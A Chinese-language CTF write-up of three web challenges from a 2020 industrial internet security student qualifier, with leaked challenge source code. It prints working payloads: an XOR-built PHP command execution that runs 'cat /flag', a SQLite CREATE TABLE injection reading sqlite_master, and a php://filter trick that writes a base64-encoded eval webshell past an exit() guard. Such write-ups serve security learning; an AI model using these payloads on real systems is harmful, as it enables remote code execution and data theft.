2020工业互联网安全学生组初赛WP


Web题AK了可是没有二进制选手,蓝瘦啊QAQ

比赛题目都存了一份打包上传了,链接如下:

链接: https://pan.baidu.com/s/14Eo7f5AnAVzM5k8sn9e_JQ 密码: mi5q

Web

新型计算器

题目就只有一个输入框,按照页面提示是个数学计算的功能,支持PHP中的数学函数和三角函数,那么思路应该就是利用数学函数或者异或等来拼接出想要的内容来执行命令。

题目类似国赛的Love Math,但是经过测试过滤了挺多的函数的,还是有些差别。

经过测试三角函数可以使用,那么方向就是:调用数学函数逐步拼凑出$_GET/$_POST或者通过异或得到$__GET/$_POST

这里被ban的函数有点多,base_convert和dechex都被ban掉了,那么通过异或来拼凑。

payload:

http://eci-2zefjdda0snqnakjsw9m.cloudeci1.ichunqiu.com/flag.php?search=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag

flag:

flag{11cda751-7e87-49da-8006-e2fd23c5fe49}

PS:读到的flag.php的源码

{ $smarty->display("string:"."00000000000"); return 1; } $blacklist = [' ', '\t', '\r', '\n', '"', '`']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $content)) { $smarty->display("string:"."111111111111"); return 1; } } return 0; } */ $smarty = new Smarty(); if (!empty($_GET['search'])) { $content=$_GET['search']; } else $content="1+1"; /* if(filter($ip)) { $smarty->display("string:"."00000000000"); die("0000000000000000"); } */ //$your_ip = $smarty->display("string:".$ip); echo "
计算结果 : "; if (strlen($content) >= 80) { die("你的输入也太长了吧= ="); } $specialchars = [' ', '\t', '\r', '\n','\'', '"', '`']; foreach ($specialchars as $cc) { if (preg_match('/' . $cc . '/m', $content)) { die("想啥呢= =输这种奇奇怪怪的字符"); } } $whitelist = [ 'is_finite','deg2rad', 'mt_getrandmax','is_infinite','log10' ]; $whitelist1=['pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'cos', 'cosh', 'decbin' , 'tan', 'tanh']; $whitelist = array_merge($whitelist, $whitelist1); $whitelist1 =['expm1', 'floor', 'fmod', 'acosh', 'getrandmax', 'asin', 'asinh', 'decoct', 'atan2', 'atan', 'atanh']; $whitelist = array_merge($whitelist, $whitelist1); $whitelist1 =['lcg_value', 'min', 'acos','log1p', 'log', 'max', 'is_nan', 'mt_srand', 'octdec']; $whitelist = array_merge($whitelist, $whitelist1); $whitelist1= ['bindec', 'ceil', 'hexdec', 'hypot','mt_rand','exp']; $whitelist = array_merge($whitelist, $whitelist1); preg_match_all('/[a-zA-Z_][a-zA-Z_0-9]*/', $content, $extractfunc); foreach ($extractfunc[0] as $ee) { if (!in_array($ee, $whitelist)) { die("想啥呢= = $ee 这个数学函数不支持"); } } $output=eval('echo '.$content.';');; $smarty->display("string:".
($output)); echo "
"; ?>

SQLManager

页面简单实现了sqlite数据库的管理,实现的功能只有table的创建,展示,record的插入。

存在源码泄漏:

view-source:http://eci-2zeiqyu2obvakg4ee0sx.cloudeci1.ichunqiu.com/.index.php.swp

拿到源码如下:

<?php
include 'util.php';
include 'config.php';

error_reporting(0);
session_start();

$method = (string) ($_SERVER['REQUEST_METHOD'] ?? 'GET');
$page = (string) ($_GET['page'] ?? 'index');
if (!in_array($page, ['index', 'build', 'modify', 'remove'])) {
  redirect('?page=index');
}

$message = $_SESSION['flash'] ?? '';
unset($_SESSION['flash']);

if (in_array($page, ['modify', 'remove']) && !isset($_SESSION['database'])) {
  flash("Please build database first.");
}

if (isset($_SESSION['database'])) {
  $pdo = new PDO('sqlite:db/' . $_SESSION['database']);
  $stmt = $pdo->query("SELECT name FROM sqlite_master WHERE type='table' AND name <> '" . tableName . "' LIMIT 1;");
  $tName = $stmt->fetch(PDO::FETCH_ASSOC)['name'];

  $stmt = $pdo->query("PRAGMA table_info(`{$tName}`);");
  $cName = $stmt->fetchAll(PDO::FETCH_ASSOC);
}

if ($page === 'modify' && $method === 'POST') {
  $values = $_POST['values'];
  $stmt = $pdo->prepare("INSERT INTO `{$tName}` VALUES (?" . str_repeat(',?', count($cName) - 1) . ")");
  $stmt->execute($values);
  redirect('?page=index');
}

if ($page === 'build' && $method === 'POST' && !isset($_SESSION['database'])) {
  if (!isset($_POST['table_name']) || !isset($_POST['columns'])) {
    flash('Parameters missing.');
  }

  $tName = (string) $_POST['table_name'];
  $ccc = $_POST['columns'];
  $filename = bin2hex(random_bytes(16)) . '.db';
  $pdo = new PDO('sqlite:db/' . $filename);

  if (!filter($tName)) {
    flash('表不合法');
  }
  if (strlen($tName) < 4 || 32 < strlen($tName)) {
    flash('表不合法');
  }
  if (count($ccc) <= 0 || 10 < count($ccc)) {
    flash('列不合法');
  }

  $sql = "CREATE TABLE {$tName} (";
  $sql .= "example1 TEXT, example2 TEXT";
  for ($i = 0; $i < count($ccc); $i++) {
    $column = (string) ($ccc[$i]['name'] ?? '');
    $type = (string) ($ccc[$i]['type'] ?? '');

    if (!filter($column) || !filter($type)) {
      flash('列不合法');
    }
    if (strlen($column) < 1 || 32 < strlen($column) || strlen($type) < 1 || 32 < strlen($type)) {
      flash('列不合法');
    }

    $sql .= ', ';
    $sql .= "`$column` $type";
  }
  $sql .= ');';

  $pdo->query('CREATE TABLE `' . tableName . '` (`' . columnName . '` TEXT);');
  $pdo->query('INSERT INTO `' . tableName . '` VALUES ("' . ans . '");');
  $pdo->query($sql);

  $_SESSION['database'] = $filename;
  redirect('?page=index');
}

if ($page === 'remove') {
  $_SESSION = array();
  session_destroy();
  redirect('?page=index');
}

if ($page === 'index' && isset($_SESSION['database'])) {
  $stmt = $pdo->query("SELECT * FROM `{$tName}`;");

  if ($stmt === FALSE) {
    $_SESSION = array();
    session_destroy();
    redirect('?page=index');
  }

  $result = $stmt->fetchAll(PDO::FETCH_NUM);
}
?>
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <link rel="stylesheet" href="style.css">
    <script src="https://code.jquery.com/jquery-3.4.1.min.js" integrity="sha256-CSXorXvZcTkaix6Yvo6HppcZGetbYMGWSFlBw8HfCJo=" crossorigin="anonymous"></script>
    <title>SQLManager</title>
  </head>
  <body background="show.jpg">
    <h1>SQLManager</h1>
<?php if (!empty($message)) { ?>
    <div class="info">信息 <?= $message ?></div>
<?php } ?>
<?php if ($page === 'index') { ?>
<?php if (isset($_SESSION['database'])) { ?>
    <h2><?= e($tName) ?> (<a href="?page=remove">删表</a>)</h2>
    <form action="?page=modify" method="POST">
      <table>
        <tr>
<?php for ($i = 0; $i < count($cName); $i++) { ?>
          <th><?= e($cName[$i]['name']) ?></th>
<?php } ?>
        </tr>
<?php for ($i = 0; $i < count($result); $i++) { ?>
        <tr>
<?php for ($j = 0; $j < count($result[$i]); $j++) { ?>
          <td><?= e($result[$i][$j]) ?></td>
<?php } ?>
        </tr>
<?php } ?>
        <tr>
<?php for ($i = 0; $i < count($cName); $i++) { ?>
          <td><input type="text" name="values[]"></td>
<?php } ?>
        </tr>
      </table>
      <input type="submit" value="Insert values">
    </form>
<?php } else { ?>
    <h2>建表</h2>
    <form action="?page=build" method="POST">
      <div id="info">
        <label>表名 <input type="text" name="table_name" id="table_name" value="输入表名"></label><br>
        <label>列数 <input type="number" min="1" max="10" id="num" value="1"></label><br>
        <button id="next">Next</button>
      </div>
      <div id="table" class="hidden">
        <table>
          <tr>
            <th>Name</th>
            <th>Type</th>
          </tr>
          <tr>
            <td>example1</td>
            <td>TEXT</td>
          </tr>
          <tr>
            <td>example2</td>
            <td>TEXT</td>
          </tr>
        </table>
        <input type="submit" value="Create table">
      </div>
    </form>
    <script>
    $('#next').on('click', () => {
      let num = parseInt($('#num').val(), 10);
      let len = $('#table_name').val().length;

      if (4 <= len && len <= 32 && 0 < num && num <= 10) {
        $('#info').addClass('hidden');
        $('#table').removeClass('hidden');

        for (let i = 0; i < num; i++) {
          $('#table table').append($(`
          <tr>
            <td><input type="text" name="columns[${i}][name]"></td>
            <td>
              <select name="columns[${i}][type]">
                <option value="INTEGER">INTEGER</option>
                <option value="REAL">REAL</option>
                <option value="TEXT">TEXT</option>
              </select>
            </td>
          </tr>`));
        }
      }

      return false;
    });
    </script>
<?php } ?>
<?php } ?>

有了源码,逻辑就清晰了许多,源码中有flag表创建和插入flag的操作,可以确定flag存在于数据库中,但是对于表名和flag值都是在开始包含进来的config.php里定义的。

在源码中的创建表相关代码可以发现,创建表时表名,列名,列类型可能存在SQL注入:

$sql = "CREATE TABLE {$tName} (";
  $sql .= "example1 TEXT, example2 TEXT";
  for ($i = 0; $i < count($ccc); $i++) {
    $column = (string) ($ccc[$i]['name'] ?? '');
    $type = (string) ($ccc[$i]['type'] ?? '');

    if (!filter($column) || !filter($type)) {
      flash('列不合法');
    }
    if (strlen($column) < 1 || 32 < strlen($column) || strlen($type) < 1 || 32 < strlen($type)) {
      flash('列不合法');
    }

    $sql .= ', ';
    $sql .= "`$column` $type";
  }
  $sql .= ');';

  $pdo->query('CREATE TABLE `' . tableName . '` (`' . columnName . '` TEXT);');
  $pdo->query('INSERT INTO `' . tableName . '` VALUES ("' . ans . '");');
  $pdo->query($sql);

看一下最终拼接后的sql语句:

CREATE TABLE {$tName} (example1 TEXT, example2 TEXT, `$column` $type);

参数都是我们可控的,type那里虽然是个下拉选择,但是直接F12就可以更改,也是可控的。

sqlite_master表是SQLite的系统表。该表记录该数据库中保存的表、索引、视图、和触发器信息。每一行记录一个项目。在创建一个SQLIte数据库的时候,该表会自动创建。sqlite_master表包含5列。

  • type列记录了项目的类型,如table、index、view、trigger。

  • name列记录了项目的名称,如表名、索引名等。

  • tbl_name列记录所从属的表名,如索引所在的表名。对于表来说,该列就是表名本身。

  • rootpage列记录项目在数据库页中存储的编号。对于视图和触发器,该列值为0或者NULL。

  • sql列记录创建该项目的SQL语句。

那我们只有只要想办法查sqlite_master表就知道flag表和对应的字段名。结合上面的sql语句,我们可以使用这种方式:

create table aa as select xxx from xxx

同时参数还经过了filter函数的处理,被检测到就显示表名非法。

那么通过表名,列名和类型三个地方传入payload,来拼接出我们想要执行的语句。

但是发现在tbname后还拼接了一些内容会造成干扰,这里可以通过 反引号 把它包裹起来,因为包裹起来的内容就成为了关键字,就相

select xx as key,看一下这个例子:

同时反引号可以使用[]来替代绕过过滤。

payload1:

在创建表时,表名: t AS SELECT sql [
列名: abc
列类型: ] FROM sqlite_master;

这时的sql语句就是:

CREATE TABLE t AS SELECT sql [ (example1 TEXT, example2 TEXT, abc ] FROM sqlite_master;);

等价于

CREATE TABLE t AS SELECT sql FROM sqlite_master;

得到了表名和列名,替换语句中的sql和sqlite_master 即可获得flag:

payload2:

t AS SELECT flag_ThE_C0lumn [
abc
]FROM flag_Y0U_c4nt_GUESS;

easyphp

存在文件包含

读源码:
http://eci-2zegudi3pf4hpiupmwnp.cloudeci1.ichunqiu.com/index.php?page=php://filter/read=convert.base64-encode/resource=index.php

<?php
error_reporting(0);
$page = isset($_GET['page']) ? $_GET['page'] : 'main.html';
if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    header('location:index.php?page=main.html');
}
// You may want to see 7fa3b767c460b54a2be4d49030b349c7.php
?>
<!DOCTYPE html>
<html lang="en">

<head>
    <title>Home</title>
    <link href="css/bootstrap.css" rel="stylesheet" type="text/css" media="all" />
    <!-- Custom Theme files -->
    <script src="js/jquery.min.js"></script>
    <!--theme-style-->
    <link href="css/style.css" rel="stylesheet" type="text/css" media="all" />
    <!--//theme-style-->
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <meta name="keywords" content="" />
    <script type="application/x-javascript">
        addEventListener("load", function() {
            setTimeout(hideURLbar, 0);
        }, false);

        function hideURLbar() {
            window.scrollTo(0, 1);
        }
    </script>

    <link href='http://fonts.googleapis.com/css?family=Muli:400,300' rel='stylesheet' type='text/css'>
    <link href='http://fonts.googleapis.com/css?family=Oswald' rel='stylesheet' type='text/css'>
    <!-- animation-effect -->
    <link href="css/animate.min.css" rel="stylesheet">
    <script src="js/wow.min.js"></script>
    <script>
        new WOW().init();
    </script>
    <!-- //animation-effect -->

</head>

<body>
    <?php include $page; ?>
</body>

</html>

然后去读源码里提示的文件,得到:

<?php
error_reporting(0);
$sandbox = '/var/www/html/sandbox/' . md5($_SERVER['REMOTE_ADDR']);
echo "Here is your sandbox: ". md5($_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
highlight_file(__FILE__);
if (isset($_GET['content'])) {
    $content = $_GET['content'];
    if (preg_match('/iconv|UCS|UTF|rot|quoted|base64|%|toupper|tolower|dechunk|\.\./i', $content))
        die('hacker');
    if (file_exists($content))
        require_once($content);
    file_put_contents($content, '<?php exit();' . $content);
}

payload:

http://eci-2zecngytg1no58dxm6mu.cloudeci1.ichunqiu.com/7fa3b767c460b54a2be4d49030b349c7.php?content=php://filter/write=string.strip_tags/?%3EPD9waHAgZXZhbCgkX1JFUVVFU1RbJ0EnXSk7cGhwaW5mbygpOw%3D%3D%3C?123456/resource=2.php

写入base64编码的payload然后利用之前的文件包含的点去base64解码包含来绕过死亡exit。

然后用之前的文件包含去包含:

http://eci-2zecngytg1no58dxm6mu.cloudeci1.ichunqiu.com/index.php?page=php://filter/read=convert.base64-decode/resource=sandbox/4e5b09b2149f7619cca155c8bd6d8ee5/aa.php


文章作者: LANVNAL
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 LANVNAL !
  目录